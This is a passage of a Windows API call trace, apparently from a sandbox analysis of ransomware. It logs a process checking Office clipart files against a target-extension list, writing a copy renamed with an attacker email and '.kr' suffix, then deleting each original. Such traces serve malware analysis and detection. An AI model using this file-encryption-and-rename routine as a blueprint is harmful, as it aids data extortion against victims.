(lpString1=".1cd", lpString2=".WMF") returned -1 [0185.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.879] lstrlenW (lpString=".jpg") returned 4 [0185.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.879] lstrlenW (lpString=".doc") returned 4 [0185.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.880] lstrlenW (lpString=".docx") returned 5 [0185.880] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0185.880] lstrlenW (lpString=".pdf") returned 4 [0185.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.880] lstrlenW (lpString=".xls") returned 4 [0185.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.880] lstrlenW (lpString=".xlsx") returned 5 [0185.880] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0185.880] lstrlenW (lpString=".ppt") returned 4 [0185.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.880] lstrlenW (lpString=".zip") returned 4 [0185.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.880] lstrlenW (lpString=".rar") returned 4 [0185.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.880] lstrlenW (lpString=".bz2") returned 4 [0185.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.880] lstrlenW (lpString=".7z") returned 3 [0185.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.880] lstrlenW (lpString=".dbf") returned 4 [0185.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.880] lstrlenW (lpString=".1cd") returned 4 [0185.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0185.880] lstrlenW (lpString=".jpg") returned 4 [0185.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.880] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.881] lstrlenW (lpString="DD00255_.WMF") returned 12 [0185.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0185.882] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2690) returned 1 [0185.882] CloseHandle (hObject=0x450) returned 1 [0185.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0185.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0185.882] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.882] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0185.883] GetLastError () returned 0x0 [0185.883] ReadFile (in: hFile=0x450, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xa82, lpOverlapped=0x0) returned 1 [0185.885] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xa90, lpOverlapped=0x0) returned 1 [0185.886] ReadFile (in: hFile=0x450, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.886] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0185.886] SetEndOfFile (hFile=0x540) returned 1 [0185.886] CloseHandle (hObject=0x540) returned 1 [0185.887] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.887] SetEndOfFile (hFile=0x450) returned 1 [0185.889] CloseHandle (hObject=0x450) returned 1 [0185.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0185.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.890] lstrlenW (lpString=".doc") returned 4 [0185.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.891] lstrlenW (lpString=".docx") returned 5 [0185.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.891] lstrlenW (lpString=".pdf") returned 4 [0185.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.891] lstrlenW (lpString=".xls") returned 4 [0185.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.891] lstrlenW (lpString=".xlsx") returned 5 [0185.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.891] lstrlenW (lpString=".ppt") returned 4 [0185.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.891] lstrlenW (lpString=".zip") returned 4 [0185.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.891] lstrlenW (lpString=".rar") returned 4 [0185.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.891] lstrlenW (lpString=".bz2") returned 4 [0185.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.891] lstrlenW (lpString=".7z") returned 3 [0185.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.891] lstrlenW (lpString=".dbf") returned 4 [0185.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.891] lstrlenW (lpString=".1cd") returned 4 [0185.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.891] lstrlenW (lpString=".jpg") returned 4 [0185.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.891] lstrlenW (lpString=".doc") returned 4 [0185.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.891] lstrlenW (lpString=".docx") returned 5 [0185.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.892] lstrlenW (lpString=".pdf") returned 4 [0185.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.892] lstrlenW (lpString=".xls") returned 4 [0185.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.892] lstrlenW (lpString=".xlsx") returned 5 [0185.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.892] lstrlenW (lpString=".ppt") returned 4 [0185.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.892] lstrlenW (lpString=".zip") returned 4 [0185.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.892] lstrlenW (lpString=".rar") returned 4 [0185.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.892] lstrlenW (lpString=".bz2") returned 4 [0185.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.892] lstrlenW (lpString=".7z") returned 3 [0185.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.892] lstrlenW (lpString=".dbf") returned 4 [0185.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.892] lstrlenW (lpString=".1cd") returned 4 [0185.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0185.892] lstrlenW (lpString=".jpg") returned 4 [0185.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.892] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0185.892] lstrlenW (lpString="DD00256_.WMF") returned 12 [0185.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0185.893] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2832) returned 1 [0185.893] CloseHandle (hObject=0x450) returned 1 [0185.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0185.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0185.894] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.894] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0185.894] GetLastError () returned 0x0 [0185.894] ReadFile (in: hFile=0x450, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xb10, lpOverlapped=0x0) returned 1 [0185.895] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xb20, lpOverlapped=0x0) returned 1 [0185.896] ReadFile (in: hFile=0x450, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.896] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0185.897] SetEndOfFile (hFile=0x540) returned 1 [0185.897] CloseHandle (hObject=0x540) returned 1 [0185.897] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.897] SetEndOfFile (hFile=0x450) returned 1 [0185.899] CloseHandle (hObject=0x450) returned 1 [0185.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0185.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0185.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0185.902] lstrlenW (lpString=".doc") returned 4 [0185.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.902] lstrlenW (lpString=".docx") returned 5 [0185.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.902] lstrlenW (lpString=".pdf") returned 4 [0185.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.902] lstrlenW (lpString=".xls") returned 4 [0185.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.902] lstrlenW (lpString=".xlsx") returned 5 [0185.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.902] lstrlenW (lpString=".ppt") returned 4 [0185.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0185.902] lstrlenW (lpString=".zip") returned 4 [0185.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.902] lstrlenW (lpString=".rar") returned 4 [0185.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.903] lstrlenW (lpString=".bz2") returned 4 [0185.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.903] lstrlenW (lpString=".7z") returned 3 [0186.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0186.082] lstrlenW (lpString=".dbf") returned 4 [0186.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0186.082] lstrlenW (lpString=".1cd") returned 4 [0186.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0186.082] lstrlenW (lpString=".jpg") returned 4 [0186.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0186.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0186.082] lstrlenW (lpString=".doc") returned 4 [0186.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.082] lstrlenW (lpString=".docx") returned 5 [0186.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.082] lstrlenW (lpString=".pdf") returned 4 [0186.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.082] lstrlenW (lpString=".xls") returned 4 [0186.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.082] lstrlenW (lpString=".xlsx") returned 5 [0186.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.082] lstrlenW (lpString=".ppt") returned 4 [0186.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0186.083] lstrlenW (lpString=".zip") returned 4 [0186.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.083] lstrlenW (lpString=".rar") returned 4 [0186.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.083] lstrlenW (lpString=".bz2") returned 4 [0186.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.083] lstrlenW (lpString=".7z") returned 3 [0186.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0186.083] lstrlenW (lpString=".dbf") returned 4 [0186.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0186.083] lstrlenW (lpString=".1cd") returned 4 [0186.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0186.083] lstrlenW (lpString=".jpg") returned 4 [0186.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.083] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.083] lstrlenW (lpString="DD00413_.WMF") returned 12 [0186.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.084] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=42992) returned 1 [0186.084] CloseHandle (hObject=0x538) returned 1 [0186.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220 [0186.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.085] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.085] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.086] GetLastError () returned 0x0 [0186.086] ReadFile (in: hFile=0x538, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xa7f0, lpOverlapped=0x0) returned 1 [0186.089] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xa800, lpOverlapped=0x0) returned 1 [0186.090] ReadFile (in: hFile=0x538, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.090] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0186.091] SetEndOfFile (hFile=0x51c) returned 1 [0186.091] CloseHandle (hObject=0x51c) returned 1 [0186.091] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.091] SetEndOfFile (hFile=0x538) returned 1 [0186.094] CloseHandle (hObject=0x538) returned 1 [0186.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0186.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.097] lstrlenW (lpString=".doc") returned 4 [0186.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.097] lstrlenW (lpString=".docx") returned 5 [0186.097] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.097] lstrlenW (lpString=".pdf") returned 4 [0186.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.097] lstrlenW (lpString=".xls") returned 4 [0186.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.097] lstrlenW (lpString=".xlsx") returned 5 [0186.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.097] lstrlenW (lpString=".ppt") returned 4 [0186.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.097] lstrlenW (lpString=".zip") returned 4 [0186.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.097] lstrlenW (lpString=".rar") returned 4 [0186.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.097] lstrlenW (lpString=".bz2") returned 4 [0186.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.098] lstrlenW (lpString=".7z") returned 3 [0186.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.098] lstrlenW (lpString=".dbf") returned 4 [0186.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.098] lstrlenW (lpString=".1cd") returned 4 [0186.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.098] lstrlenW (lpString=".jpg") returned 4 [0186.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0186.098] lstrlenW (lpString="C:\\Program 